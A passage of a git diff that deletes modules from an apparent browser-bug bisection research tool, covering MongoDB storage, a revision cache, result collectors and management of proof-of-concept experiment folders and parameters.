'ts': str(datetime.now(timezone.utc).replace(microsecond=0)), - } - }, - upsert=True, - ) - - def get_build_id_firefox(self, state: State): - collection = MongoDB().get_binary_availability_collection('firefox') - - result = collection.find_one({'state': state.to_dict()}, {'_id': False, 'build_id': 1}) - # Result can only be None if the binary associated with the state_id is artisanal: - # This state_id will not be included in the binary_availability_collection and not have a build_id. - if result is None or len(result) == 0: - return None - return result['build_id'] - - def get_documents_for_plotting(self, params: PlotParameters, releases: bool = False) -> list: - collection = self.get_collection(params.database_collection, create_if_not_found=True) - query = { - 'mech_group': params.mech_group, - 'browser_config': params.browser_config, - 'state.type': 'version' if releases else 'revision', - 'extensions': {'$size': len(params.extensions) if params.extensions else 0}, - 'cli_options': {'$size': len(params.cli_options) if params.cli_options else 0}, - } - if params.extensions: - query['extensions']['$all'] = params.extensions - if params.cli_options: - query['cli_options']['$all'] = params.cli_options - if params.revision_number_range: - query['state.revision_number'] = { - '$gte': params.revision_number_range[0], - '$lte': params.revision_number_range[1], - } - elif params.major_version_range: - query['padded_browser_version'] = { - '$gte': str(params.major_version_range[0]).zfill(4), - '$lte': str(params.major_version_range[1] + 1).zfill(4), - } - - docs = collection.aggregate( - [ - {'$match': query}, - {'$project': {'_id': False, 'state': True, 'browser_version': True, 'dirty': True, 'results': True}}, - {'$sort': {'rev_nb': 1}}, - ] - ) - return list(docs) - - def remove_datapoint(self, params: TestParameters) -> None: - collection = self.get_collection(params.database_collection) - query = self.__to_test_query(params) - collection.delete_one(query) - - def remove_all_data_from_collection(self, collection_name: str) -> None: - collection = self.get_collection(collection_name) - collection.delete_many({}) - - def get_info(self) -> dict: - if self.client and self.client.address: - return {'type': 'mongo', 'host': self.client.address[0], 'connected': True} - else: - return {'type': 'mongo', 'host': None, 'connected': False} - - def get_previous_cli_options(self, params: dict) -> list[str]: - """ - Returns a list of all cli options used for the browser defined in the given parameter dictionary. - """ - if browser_name := params.get('browser_name', None): - collection_names = self.get_all_collection_names_for_browser(browser_name) - previous_cli_options = [] - for name in collection_names: - # Appartently simply asking for a set of distinct arrays requires a complicated pipeline in MongoDB, - # so we'll use Python logic. - cursor = self.get_collection(name).find( - {'cli_options': {'$exists': True, '$not': {'$size': 0}}}, {'_id': False, 'cli_options': True} - ) - # We convert to tuples because they are, in contract to lists, hashable. - cli_options_list = set(' '.join(doc['cli_options']) for doc in cursor) - if cli_options_list: - previous_cli_options.extend(list(filter(lambda x: x not in previous_cli_options, cli_options_list))) - previous_cli_options.sort() - return previous_cli_options - else: - logger.warning('Could not find browser name in parameters, returning empty list') - return [] - - -class ServerException(Exception): - pass diff --git a/bci/database/mongo/revision_cache.py b/bci/database/mongo/revision_cache.py deleted file mode 100644 index 6c511d11..00000000 --- a/bci/database/mongo/revision_cache.py +++ /dev/null @@ -1,139 +0,0 @@ -import logging -from concurrent.futures import ThreadPoolExecutor -from typing import Optional - -from pymongo import ASCENDING, DESCENDING - -from bci import util -from bci.database.mongo.mongodb import MongoDB - -logger = logging.getLogger(__name__) - -BASE_URL = 'https://bughog.distrinet-research.be/' - - -class RevisionCache: - - @staticmethod - def update() -> None: - def safe_request_json_and_update(collection_name: str, transform=lambda x: x): - url = BASE_URL + collection_name + '.json' - try: - result = util.request_json(url)['data'] - if result is not None: - RevisionCache.__update_collection(collection_name, transform(result)) - except util.ResourceNotFound: - logger.warning(f'Could not update revision cache with resource at {url}') - except Exception: - logger.error(f'Could not update revision cache for {collection_name}', exc_info=True) - - executor = ThreadPoolExecutor() - executor.submit(safe_request_json_and_update, 'firefox_binary_availability', transform=lambda x: list(x.values())) - executor.submit(safe_request_json_and_update, 'firefox_release_base_revs') - executor.submit(safe_request_json_and_update, 'chromium_release_base_revs') - executor.shutdown(wait=False) - - @staticmethod - def __update_collection(collection_name: str, data: list) -> None: - collection = MongoDB().get_collection(collection_name) - if (n := len(data)) == collection.count_documents({}): - logger.debug(f'{collection_name} is still up-to-date ({n} documents).') - else: - collection.delete_many({}) - collection.insert_many(data) - logger.info(f'{collection_name} is updated ({len(data)} documents).') - - @staticmethod - def firefox_get_revision_number(revision_id: str) -> int: - collection = MongoDB().get_collection('firefox_binary_availability') - result = collection.find_one({'revision_id': revision_id}, {'revision_number': 1}) - if result is None or 'revision_number' not in result: - raise AttributeError(f"Could not find 'revision_number' in {result}") - return result['revision_number'] - - @staticmethod - def firefox_has_binary_for(revision_nb: Optional[int], revision_id: Optional[str]) -> bool: - collection = MongoDB().get_collection('firefox_binary_availability') - if revision_nb: - result = collection.find_one({'revision_number': revision_nb}) - elif revision_id: - result = collection.find_one({'revision_number': revision_nb}) - else: - raise AttributeError('No revision number or id was provided') - return result is not None - - @staticmethod - def firefox_get_binary_info(revision_id: str) -> Optional[dict]: - collection = MongoDB().get_collection('firefox_binary_availability') - return collection.find_one({'node': revision_id}, {'files_url': 1, 'app_version': 1}) - - @staticmethod - def firefox_get_previous_and_next_revision_nb_with_binary(revision_nb: int) -> tuple[Optional[int], Optional[int]]: - collection = MongoDB().get_collection('firefox_binary_availability') - - previous_revision_nbs = collection.find({'revision_number': {'$lt': revision_nb}}).sort( - {'revision_number': DESCENDING} - ) - previous_document = next(previous_revision_nbs, None) - - next_revision_nbs = collection.find({'revision_number': {'$gt': revision_nb}}).sort( - {'revision_number': ASCENDING} - ) - next_document = next(next_revision_nbs, None) - - return ( - previous_document['revision_number'] if previous_document else None, - next_document['revision_number'] if next_document else None, - ) - - @staticmethod - def firefox_get_revision_id(revision_nb: int) -> Optional[str]: - collection = MongoDB().get_collection('firefox_binary_availability') - result = collection.find_one({'revision_number': revision_nb}) - if result is None: - return None - return result.get('node', None) - - @staticmethod - def __get_release_base_rev_collection(browser: str) -> str: - match browser: - case 'chromium': - return 'chromium_release_base_revs' - case 'firefox': - return 'firefox_release_base_revs' - case _: - raise AttributeError(f'Could not get collection for browser {browser}') - - @staticmethod - def is_tag(browser: str, tag: str) -> bool: - collection = MongoDB().get_collection(RevisionCache.__get_release_base_rev_collection(browser)) - n = collection.count_documents({'release_tag': tag}) - return n > 0 - - @staticmethod - def get_release_tag(browser: str, major_release_version: int) -> str: - collection = MongoDB().get_collection(RevisionCache.__get_release_base_rev_collection(browser)) - if doc := collection.find_one({'major_version': major_release_version}): - return doc['release_tag'] - raise AttributeError(f"Could not find release tag associated with version '{major_release_version}'") - - @staticmethod - def get_release_revision_number(browser: str, major_release_version: int) -> int: - collection = MongoDB().get_collection(RevisionCache.__get_release_base_rev_collection(browser)) - if doc := collection.find_one({'major_version': major_release_version}): - return doc['revision_number'] - raise AttributeError(f"Could not find major release version '{major_release_version}'") - - @staticmethod - def get_release_revision_id(browser: str, major_release_version: int) -> int: - collection = MongoDB().get_collection(RevisionCache.__get_release_base_rev_collection(browser)) - if doc := collection.find_one({'major_version': major_release_version}): - return doc['revision_id'] - raise AttributeError(f"Could not find major release version '{major_release_version}'") - - @staticmethod - def get_most_recent_major_version(browser:str) -> int: - collection = MongoDB().get_collection(RevisionCache.__get_release_base_rev_collection(browser)) - if doc := collection.find_one(sort=[('major_version', -1)]): - return doc['major_version'] - raise AttributeError("Could not find most recent major release version") diff --git a/bci/evaluations/collectors/base.py b/bci/evaluations/collectors/base.py deleted file mode 100644 index b6368f3c..00000000 --- a/bci/evaluations/collectors/base.py +++ /dev/null @@ -1,18 +0,0 @@ -from abc import abstractmethod - - -class BaseCollector: - def __init__(self) -> None: - self.data = {} - - @abstractmethod - def start(self): - pass - - @abstractmethod - def stop(self): - pass - - @abstractmethod - def parse_data(self): - pass diff --git a/bci/evaluations/collectors/collector.py b/bci/evaluations/collectors/collector.py deleted file mode 100644 index b67be5ff..00000000 --- a/bci/evaluations/collectors/collector.py +++ /dev/null @@ -1,42 +0,0 @@ -import logging -from enum import Enum - -from bci.evaluations.collectors.base import BaseCollector - -from .logs import LogCollector -from .requests import RequestCollector - -logger = logging.getLogger(__name__) - - -class Type(Enum): - REQUESTS = 1 - LOGS = 2 - - -class Collector: - def __init__(self, types: list[Type]) -> None: - self.collectors: list[BaseCollector] = [] - if Type.REQUESTS in types: - collector = RequestCollector() - self.collectors.append(collector) - if Type.LOGS in types: - collector = LogCollector() - self.collectors.append(collector) - logger.debug(f'Using {len(self.collectors)} result collectors') - - def start(self): - for collector in self.collectors: - collector.start() - - def stop(self): - for collector in self.collectors: - collector.stop() - - def collect_results(self) -> dict: - all_data = {} - for collector in self.collectors: - collector.parse_data() - all_data.update(collector.data) - logger.debug(f'Collected data: {all_data}') - return all_data diff --git a/bci/evaluations/collectors/logs.py b/bci/evaluations/collectors/logs.py deleted file mode 100644 index e163ded6..00000000 --- a/bci/evaluations/collectors/logs.py +++ /dev/null @@ -1,32 +0,0 @@ -import re - -from .base import BaseCollector - - -class LogCollector(BaseCollector): - - def __init__(self) -> None: - super().__init__() - self.data['log_vars'] = [] - - def start(self): - with open('/tmp/browser.log', 'w') as file: - file.write('') - - def stop(self): - pass - - def parse_data(self): - data = [] - regex = r'\+\+\+bughog_(.+)=(.+)\+\+\+' - with open('/tmp/browser.log', 'r+') as log_file: - log_lines = [line for line in log_file.readlines()] - log_file.write('') - regex_match_lists = [re.findall(regex, line) for line in log_lines if re.search(regex, line)] - # Flatten list - regex_matches = [regex_match for regex_match_list in regex_match_lists for regex_match in regex_match_list] - for match in regex_matches: - var = match[0] - val = match[1] - data.append({'var': var, 'val': val}) - self.data['log_vars'] = data diff --git a/bci/evaluations/custom/custom_evaluation.py b/bci/evaluations/custom/custom_evaluation.py deleted file mode 100644 index f2ad6a33..00000000 --- a/bci/evaluations/custom/custom_evaluation.py +++ /dev/null @@ -1,276 +0,0 @@ -import logging -import os -from typing import Optional - -from bci.browser.configuration.browser import Browser -from bci.browser.interaction.interaction import Interaction -from bci.configuration import Global -from bci.evaluations.collectors.collector import Collector, Type -from bci.evaluations.evaluation_framework import EvaluationFramework, FailedSanityCheck -from bci.evaluations.logic import TestParameters, TestResult -from bci.version_control.state_result_factory import StateResultFactory -from bci.web.clients import Clients - -logger = logging.getLogger(__name__) - - -class CustomEvaluationFramework(EvaluationFramework): - __files_and_folders_to_ignore = ['.DS_Store'] - - def __init__(self): - super().__init__() - self.dir_tree = self.initialize_dir_tree() - self.tests_per_project = self.initialize_tests_and_interactions(self.dir_tree) - - @staticmethod - def initialize_dir_tree() -> dict: - """ - Initializes directory tree of experiments. - """ - path = Global.custom_page_folder - dir_tree = {} - - def set_nested_value(d: dict, keys: list[str], value: dict): - nested_dict = d - for key in keys[:-1]: - nested_dict = nested_dict[key] - nested_dict[keys[-1]] = value - - for root, dirs, files in os.walk(path): - # Remove base path from root - root = root[len(path) :] - keys = root.split('/')[1:] - subdir_tree = { - dir: {} for dir in dirs if dir not in CustomEvaluationFramework.__files_and_folders_to_ignore - } | {file: None for file in files if file not in CustomEvaluationFramework.__files_and_folders_to_ignore} - if root: - set_nested_value(dir_tree, keys, subdir_tree) - else: - dir_tree = subdir_tree - - return dir_tree - - @staticmethod - def initialize_tests_and_interactions(dir_tree: dict) -> dict: - experiments_per_project = {} - page_folder_path = Global.custom_page_folder - for project, experiments in dir_tree.items(): - # Find tests in folder - project_path = os.path.join(page_folder_path, project) - experiments_per_project[project] = {} - for experiment in experiments: - data = {} - - if interaction_script := CustomEvaluationFramework.__get_interaction_script(project_path, experiment): - data['script'] = interaction_script - elif url_queue := CustomEvaluationFramework.__get_url_queue(project, project_path, experiment): - data['url_queue'] = url_queue - - data['runnable'] = CustomEvaluationFramework.is_runnable_experiment(project, experiment, dir_tree, data) - - experiments_per_project[project][experiment] = data - return experiments_per_project - - @staticmethod - def __get_interaction_script(project_path: str, experiment: str) -> list[str] | None: - interaction_file_path = os.path.join(project_path, experiment, 'script.cmd') - if os.path.isfile(interaction_file_path): - # If an interaction script is specified, it is parsed and used - with open(interaction_file_path) as file: - return file.readlines() - return None - - @staticmethod - def __get_url_queue(project: str, project_path: str, experiment: str) -> Optional[list[str]]: - url_queue_file_path = os.path.join(project_path, experiment, 'url_queue.txt') - if os.path.isfile(url_queue_file_path): - # If an URL queue is specified, it is parsed and used - with open(url_queue_file_path) as file: - return file.readlines() - else: - # Otherwise, a default URL queue is used, based on the domain that hosts the main page - experiment_path = os.path.join(project_path, experiment) - assert os.path.isdir(experiment_path) - for domain in os.listdir(experiment_path): - main_folder_path = os.path.join(experiment_path, domain, 'main') - if os.path.exists(main_folder_path): - return [ - f'https://{domain}/{project}/{experiment}/main', - 'https://a.test/report/?bughog_sanity_check=OK', - ] - return None - - @staticmethod - def is_runnable_experiment(project: str, poc: str, dir_tree: dict[str, dict], data: dict[str, str]) -> bool: - # Always runnable if there is either an interaction script or url_queue present - if 'script' in data or 'url_queue' in data: - return True - - # Should have exactly one main folder otherwise - domains = dir_tree[project][poc] - main_paths = [paths for paths in domains.values() if paths is not None and 'main' in paths.keys()] - if len(main_paths) != 1: - return False - # Main should have index.html - if 'index.html' not in main_paths[0]['main'].keys(): - return False - return True - - def perform_specific_evaluation(self, browser: Browser, params: TestParameters) -> TestResult: - logger.info(f'Starting test for {params}') - browser_version = browser.version - binary_origin = browser.get_binary_origin() - - state_result_factory = StateResultFactory(experiment=params.mech_group) - collector = Collector([Type.REQUESTS, Type.LOGS]) - collector.start() - - is_dirty = False - tries_left = 3 - experiment = self.tests_per_project[params.evaluation_configuration.project][params.mech_group] - try: - sanity_check_was_successful = False - poc_was_reproduced = False - while not poc_was_reproduced and tries_left > 0: - tries_left -= 1 - browser.pre_try_setup() - if 'script' in experiment: - interaction = Interaction(browser, experiment['script'], params) - interaction.execute() - else: - url_queue = experiment['url_queue'] - for url in url_queue: - browser.visit(url) - browser.post_try_cleanup() - intermediary_state_result = state_result_factory.get_result(collector.collect_results()) - sanity_check_was_successful |= not intermediary_state_result.is_dirty - poc_was_reproduced = intermediary_state_result.reproduced - if not poc_was_reproduced and not sanity_check_was_successful: - raise FailedSanityCheck() - except FailedSanityCheck: - logger.error('Evaluation sanity check has failed', exc_info=True) - is_dirty = True - except Exception as e: - logger.error(f'An error during evaluation: {e}', exc_info=True) - is_dirty = True - finally: - logger.debug(f'Evaluation finished with {tries_left} tries left') - collector.stop() - results = collector.collect_results() - return params.create_test_result_with(browser_version, binary_origin, results, is_dirty) - - def get_mech_groups(self, project: str) -> list[tuple[str, bool]]: - if project not in self.tests_per_project: - return [] - pocs = [(poc_name, poc_data['runnable']) for poc_name, poc_data in self.tests_per_project[project].items()] - return sorted(pocs, key=lambda x: x[0]) - - def get_projects(self) -> list[str]: - return sorted(list(self.tests_per_project.keys())) - - def create_empty_project(self, project_name: str): - self.is_valid_name(project_name) - if project_name in self.dir_tree: - raise AttributeError(f"The given project name '{project_name}' already exists.") - - new_project_path = os.path.join(Global.custom_page_folder, project_name) - os.mkdir(new_project_path) - self.sync_with_folders() - - def get_poc_structure(self, project: str, poc: str) -> dict: - return self.dir_tree[project][poc] - - def _get_poc_file_path(self, project: str, poc: str, domain: str, path: str, file_name: str) -> str: - # Top-level config file - if domain == 'Config' and path == '_': - return os.path.join(Global.custom_page_folder, project, poc, file_name) - - return os.path.join(Global.custom_page_folder, project, poc, domain, path, file_name) - - def get_poc_file(self, project: str, poc: str, domain: str, path: str, file_name: str) -> str: - file_path = self._get_poc_file_path(project, poc, domain, path, file_name) - if os.path.isfile(file_path): - with open(file_path) as file: - return file.read() - raise AttributeError(f"Could not find PoC file at expected path '{file_path}'") - - def update_poc_file(self, project: str, poc: str, domain: str, path: str, file_name: str, content: str) -> bool: - file_path = self._get_poc_file_path(project, poc, domain, path, file_name) - if os.path.isfile(file_path): - if content == '': - logger.warning('Attempt to save empty file ignored') - return False - with open(file_path, 'w') as file: - file.write(content) - return True - return False - - def create_empty_poc(self, project: str, poc_name: str): - self.is_valid_name(poc_name) - poc_path = os.path.join(Global.custom_page_folder, project, poc_name) - if os.path.exists(poc_path): - raise AttributeError(f"The given PoC name '{poc_name}' already exists.") - - os.makedirs(poc_path) - self.sync_with_folders() - Clients.push_experiments_to_all() - - def add_page(self, project: str, poc: str, domain: str, path: str, file_type: str): - domain_path = os.path.join(Global.custom_page_folder, project, poc, domain) - if not os.path.exists(domain_path): - os.makedirs(domain_path) - - self.is_valid_name(path) - if file_type == 'py': - file_name = path if path.endswith('.py') else path + '.py' - file_path = os.path.join(domain_path, file_name) - else: - page_path = os.path.join(domain_path, path) - if not os.path.exists(page_path): - os.makedirs(page_path) - new_file_name = f'index.{file_type}' - file_path = os.path.join(page_path, new_file_name) - headers_file_path = os.path.join(page_path, 'headers.json') - if not os.path.exists(headers_file_path): - with open(headers_file_path, 'w') as file: - file.write(self.get_default_file_content('headers.json')) - - if os.path.exists(file_path): - raise AttributeError(f"The given page '{path}' does already exist.") - with open(file_path, 'w') as file: - file.write(self.get_default_file_content(file_type)) - - self.sync_with_folders() - # Notify clients of change (an experiment might now be runnable) - Clients.push_experiments_to_all() - - def add_config(self, project: str, poc: str, type: str) -> bool: - content = self.get_default_file_content(type) - - if content == '': - return False - - file_path = os.path.join(Global.custom_page_folder, project, poc, type) - with open(file_path, 'w') as file: - file.write(content) - - self.sync_with_folders() - # Notify clients of change (an experiment might now be runnable) - Clients.push_experiments_to_all() - - return True - - @staticmethod - def get_default_file_content(file_type: str) -> str: - path = os.path.join(os.path.dirname(os.path.realpath(__file__)), f'default_files/{file_type}') - - if not os.path.exists(path): - return '' - - with open(path, 'r') as file: - return file.read() - - def sync_with_folders(self): - self.dir_tree = self.initialize_dir_tree() - self.tests_per_project = self.initialize_tests_and_interactions(self.dir_tree) - logger.info('Framework is synced with folders') diff --git a/bci/evaluations/custom/default_files/headers.json b/bci/evaluations/custom/default_files/headers.json deleted file mode 100644 index 81975b3f..00000000 --- a/bci/evaluations/custom/default_files/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Header-Name", - "value": "Header-Value" - } -] \ No newline at end of file diff --git a/bci/evaluations/custom/default_files/js b/bci/evaluations/custom/default_files/js deleted file mode 100644 index 664997c1..00000000 --- a/bci/evaluations/custom/default_files/js +++ /dev/null @@ -1 +0,0 @@ -// TODO - implement your PoC \ No newline at end of file diff --git a/bci/evaluations/custom/default_files/url_queue.txt b/bci/evaluations/custom/default_files/url_queue.txt deleted file mode 100644 index 8918d8d1..00000000 --- a/bci/evaluations/custom/default_files/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -TODO - add your URLs to visit -https://a.test/report/?bughog_sanity_check=OK \ No newline at end of file diff --git a/bci/evaluations/evaluation_framework.py b/bci/evaluations/evaluation_framework.py deleted file mode 100644 index 118bce31..00000000 --- a/bci/evaluations/evaluation_framework.py +++ /dev/null @@ -1,93 +0,0 @@ -import logging -import os -import re -from abc import ABC, abstractmethod - -from bci.browser.configuration.browser import Browser -from bci.configuration import Global -from bci.database.mongo.mongodb import MongoDB -from bci.evaluations.logic import TestParameters, TestResult, WorkerParameters - -logger = logging.getLogger(__name__) - - -class EvaluationFramework(ABC): - def __init__(self): - self.should_stop = False - - def evaluate(self, worker_params: WorkerParameters, is_worker=False): - test_params = worker_params.create_test_params() - - if MongoDB().has_result(test_params): - logger.warning( - f"Experiment '{test_params.mech_group}' for '{test_params.state}' was already performed, skipping." - ) - return - - browser_config = worker_params.browser_configuration - eval_config = worker_params.evaluation_configuration - state = worker_params.state - browser = Browser.get_browser(browser_config, eval_config, state) - browser.pre_evaluation_setup() - - if self.should_stop: - self.should_stop = False - return - try: - browser.pre_test_setup() - result = self.perform_specific_evaluation(browser, test_params) - MongoDB().store_result(result) - logger.info(f'Test finalized: {test_params}') - except Exception as e: - state.failed_by_error = True - if is_worker: - raise e - else: - logger.error('An error occurred during evaluation', exc_info=True) - finally: - browser.post_test_cleanup() - - browser.post_evaluation_cleanup() - logger.debug('Evaluation finished') - - @abstractmethod - def perform_specific_evaluation(self, browser: Browser, params: TestParameters) -> TestResult: - pass - - @staticmethod - def get_extension_path(browser: str, extension_file: str): - folder_path = Global.get_extension_folder(browser) - path = os.path.join(folder_path, extension_file) - if not os.path.isfile(path): - raise AttributeError("Could not find file '%s'" % path) - return path - - def stop_gracefully(self): - self.should_stop = True - - @abstractmethod - def get_mech_groups(self, project: str) -> list[tuple[str, bool]]: - """ - Returns the available mechanism groups for this evaluation framework. - """ - pass - - @staticmethod - def is_valid_name(name: str) -> None: - """ - Checks whether the given string is a valid experiment, page or project name, and raises an exception if not. - This is to prevent issues with URL encoding and decoding. - - :param name: Name to be checked on validity. - """ - if name is None or name == '': - raise AttributeError("The given name cannot be empty.") - if re.match(r'^[A-Za-z0-9_\-.]+$', name) is None: - raise AttributeError( - f"The given name '{name}' is invalid. Only letters, numbers, " - "'.', '-' and '_' can be used, and the name should not be empty." - ) - - -class FailedSanityCheck(Exception): - pass diff --git a/bci/evaluations/experiments.py b/bci/evaluations/experiments.py deleted file mode 100644 index e7756d54..00000000 --- a/bci/evaluations/experiments.py +++ /dev/null @@ -1,102 +0,0 @@ -import json -import logging -import os - -logger = logging.getLogger(__name__) - -SUPPORTED_FILE_TYPES = [ - 'css', - 'html', - 'js', - 'py', - 'xml', -] -SUPPORTED_DOMAINS = [ - 'leak.test', - 'a.test', - 'sub.a.test', - 'sub.sub.a.test', - 'b.test', - 'sub.b.test', - 'adition.com', -] -EXPERIMENT_FOLDER_PATH = '/app/experiments/pages' - - -def verify() -> None: - """ - Verifies the experiment pages, logger warnings for unsupported configurations. - """ - for project in os.listdir(EXPERIMENT_FOLDER_PATH): - project_path = os.path.join(EXPERIMENT_FOLDER_PATH, project) - if not os.path.isdir(project_path): - logger.warning(f"Unexpected file in '{__user_path(project_path)}' will be ignored.") - continue - for experiment in os.listdir(project_path): - __verify_experiment(project, experiment) - - -def __verify_experiment(project: str, experiment: str) -> None: - experiment_path = os.path.join(EXPERIMENT_FOLDER_PATH, project, experiment) - if not os.path.isdir(experiment_path): - logger.warning(f"Unexpected file at '{__user_path(experiment_path)}' will be ignored.") - return - for domain in os.listdir(experiment_path): - if domain in ['script.cmd', 'url_queue.txt']: - continue - domain_path = os.path.join(experiment_path, domain) - if not os.path.isdir(domain_path): - logger.warning(f"Unexpected file '{__user_path(domain_path)}' will be ignored.") - continue - if domain not in SUPPORTED_DOMAINS: - logger.warning(f"Unsupported domain '{domain}' in '{__user_path(experiment_path)}' will be ignored.") - for page in os.listdir(domain_path): - __verify_page(project, experiment, domain, page) - - -def __verify_page(project: str, experiment: str, domain: str, page: str) -> None: - page_path = os.path.join(EXPERIMENT_FOLDER_PATH, project, experiment, domain, page) - if page.endswith('.py'): - return - if not os.path.isdir(page_path): - logger.warning(f"Unexpected file at '{__user_path(page_path)}' will be ignored.") - return - for file_name in os.listdir(page_path): - file_path = os.path.join(page_path, file_name) - if not os.path.isfile(file_path): - logger.warning(f"Unexpected folder at '{__user_path(page_path)}' will be ignored.") - continue - if file_name == 'headers.json': - __verify_headers(file_path) - continue - file_name_split = file_name.split('.') - if len(file_name_split) < 2: - logger.warning(f"Could not deduce file extension at '{__user_path(file_path)}'.") - if file_name_split[-1] not in SUPPORTED_FILE_TYPES: - logger.warning(f"File type of '{__user_path(file_path)}' is not supported.") - - -def __verify_headers(path: str) -> None: - """ - Verifies whether the headers file at the given path is valid. - """ - with open(path, 'r', encoding='utf-8') as file: - try: - json_content = json.load(file) - except json.decoder.JSONDecodeError: - logger.warning(f"Could not parse '{__user_path(path)}'") - return - if not isinstance(json_content, list): - raise AttributeError(f"Not a list: '{__user_path(path)}'") - for item in json_content: - if 'key' and 'value' not in item: - logger.warning(f"Not all dictionary entries contain a key-value combination in '{__user_path(path)}'.") - - -def __user_path(path: str) -> str: - """ - Translates the given path to the user readeable path outside container. - """ - if path.startswith('/app/'): - return path[5:] - return path diff --git a/bci/evaluations/logic.py b/bci/evaluations/logic.py deleted file mode 100644 index 0f5042a8..00000000 --- a/bci/evaluations/logic.py +++ /dev/null @@ -1,341 +0,0 @@ -from __future__ import annotations - -import json -import logging -from dataclasses import asdict, dataclass -from typing import Optional - -from werkzeug.datastructures import ImmutableMultiDict - -from bci.version_control.states.state import State - -logger = logging.getLogger(__name__) - - -@dataclass(frozen=True) -class EvaluationParameters: - browser_configuration: BrowserConfiguration - evaluation_configuration: EvaluationConfiguration - evaluation_range: EvaluationRange - sequence_configuration: SequenceConfiguration - database_collection: str - - def create_worker_params_for( - self, state: State, database_connection_params: DatabaseParameters) -> WorkerParameters: - return WorkerParameters( - self.browser_configuration, - self.evaluation_configuration, - state, - self.evaluation_range.mech_group, - self.database_collection, - database_connection_params - ) - - def create_test_for(self, state: State) -> TestParameters: - return TestParameters( - self.browser_configuration, self.evaluation_configuration, state, self.evaluation_range.mech_group, self.database_collection - ) - - def create_plot_params(self, target_mech_id: str, dirty_allowed: bool = True) -> PlotParameters: - return PlotParameters( - self.evaluation_range.mech_group, - target_mech_id, - self.browser_configuration.browser_name, - self.database_collection, - self.evaluation_range.major_version_range, - self.evaluation_range.revision_number_range, - self.browser_configuration.browser_setting, - self.browser_configuration.extensions, - self.browser_configuration.cli_options, - dirty_allowed, - ) - - -@dataclass(frozen=True) -class BrowserConfiguration: - browser_name: str - browser_setting: str - cli_options: list[str] - extensions: list[str] - - def to_dict(self) -> dict: - return asdict(self) - - @staticmethod - def from_dict(data: dict) -> BrowserConfiguration: - return BrowserConfiguration( - data['browser_name'], - data['browser_setting'], - data['cli_options'], - data['extensions'] - ) - - -@dataclass(frozen=True) -class EvaluationConfiguration: - project: str - automation: str - seconds_per_visit: int = 5 - - def to_dict(self) -> dict: - return asdict(self) - - @staticmethod - def from_dict(data: dict) -> EvaluationConfiguration: - return EvaluationConfiguration(data['project'], data['automation'], data['seconds_per_visit']) - - -@dataclass(frozen=True) -class EvaluationRange: - mech_group: str - major_version_range: tuple[int, int] | None = None - revision_number_range: tuple[int, int] | None = None - only_release_revisions: bool = False - - def __post_init__(self): - if self.major_version_range: - assert self.major_version_range[0] <= self.major_version_range[1] - elif self.revision_number_range: - assert self.revision_number_range[0] <= self.revision_number_range[1] - else: - raise AttributeError('Evaluation ranges require either major versions or revision numbers') - - -@dataclass(frozen=True) -class SequenceConfiguration: - nb_of_containers: int = 8 - sequence_limit: int = 10000 - search_strategy: str | None = None - - -@dataclass(frozen=True) -class DatabaseParameters: - host: str - username: str - password: str - database_name: str - binary_cache_limit: int - - def to_dict(self) -> dict: - return asdict(self) - - @staticmethod - def from_dict(data: dict) -> DatabaseParameters: - return DatabaseParameters(data['host'], data['username'], data['password'], data['database_name'], data['binary_cache_limit']) - - def __str__(self) -> str: - return f'{self.username}@{self.host}:27017/{self.database_name}' - - -@dataclass(frozen=True) -class WorkerParameters: - browser_configuration: BrowserConfiguration - evaluation_configuration: EvaluationConfiguration - state: State - mech_group: str - database_collection: str - database_connection_params: DatabaseParameters - - def create_test_params(self) -> TestParameters: - return TestParameters( - self.browser_configuration, self.evaluation_configuration, self.state, self.mech_group, self.database_collection - ) - - def _to_dict(self): - return { - 'browser_configuration': self.browser_configuration.to_dict(), - 'evaluation_configuration': self.evaluation_configuration.to_dict(), - 'state': self.state.to_dict(), - 'mech_group': self.mech_group, - 'database_collection': self.database_collection, - 'database_connection_params': self.database_connection_params.to_dict() - } - - def serialize(self) -> str: - return json.dumps(self._to_dict()) - - def __repr__(self) -> str: - param_dict = self._to_dict() - # Mask password - param_dict['database_connection_params']['password'] = '*' - return json.dumps(param_dict) - - @staticmethod - def get_database_params(string: str) -> DatabaseParameters: - data = json.loads(string) - return DatabaseParameters.from_dict(data['database_connection_params']) - - @staticmethod - def deserialize(string: str) -> WorkerParameters: - data = json.loads(string) - browser_config = BrowserConfiguration.from_dict(data['browser_configuration']) - eval_config = EvaluationConfiguration.from_dict(data['evaluation_configuration']) - state = State.from_dict(data['state']) - mech_group = data['mech_group'] - database_collection = data['database_collection'] - database_connection_params = DatabaseParameters.from_dict(data['database_connection_params']) - return WorkerParameters( - browser_config, eval_config, state, mech_group, database_collection, database_connection_params - ) - - def __str__(self) -> str: - return f'Eval({self.state}: [{", ".join(self.mech_group)}])' - - -@dataclass(frozen=True) -class TestParameters: - browser_configuration: BrowserConfiguration - evaluation_configuration: EvaluationConfiguration - state: State - mech_group: str - database_collection: str - - def create_test_result_with(self, browser_version: str, binary_origin: str, data: dict, dirty: bool) -> TestResult: - return TestResult(self, browser_version, binary_origin, data, dirty) - - @staticmethod - def from_dict(data) -> Optional[TestParameters]: - if data is None: - return None - browser_configuration = BrowserConfiguration.from_dict(data) - evaluation_configuration = EvaluationConfiguration.from_dict(data) - state = State.from_dict(data) - mech_group = data['mech_group'] - database_collection = data['db_collection'] - return TestParameters(browser_configuration, evaluation_configuration, state, mech_group, database_collection) - -@dataclass(frozen=True) -class TestResult: - params: TestParameters - browser_version: str - binary_origin: str - data: dict - is_dirty: bool = False - driver_version: str | None = None - - @property - def padded_browser_version(self): - padding_target = 4 - padded_version = [] - for sub in self.browser_version.split('.'): - if len(sub) > padding_target: - raise AttributeError(f"Version '{self.browser_version}' is too big to be padded") - padded_version.append('0' * (padding_target - len(sub)) + sub) - return '.'.join(padded_version) - - -@dataclass(frozen=True) -class PlotParameters: - mech_group: Optional[str] - target_mech_id: Optional[str] - browser_name: Optional[str] - database_collection: Optional[str] - major_version_range: Optional[tuple[int,int]] = None - revision_number_range: Optional[tuple[int,int]] = None - browser_config: str = 'default' - extensions: Optional[list[str]] = None - cli_options: Optional[list[str]] = None - dirty_allowed: bool = True - - @staticmethod - def from_dict(data: dict) -> PlotParameters: - if data.get("lower_version", None) and data.get("upper_version", None): - major_version_range = (data["lower_version"], data["upper_version"]) - else: - major_version_range = None - if data.get("lower_revision_nb", None) and data.get("upper_revision_nb", None): - revision_number_range = ( - data["lower_revision_nb"], - data["upper_revision_nb"], - ) - else: - revision_number_range = None - return 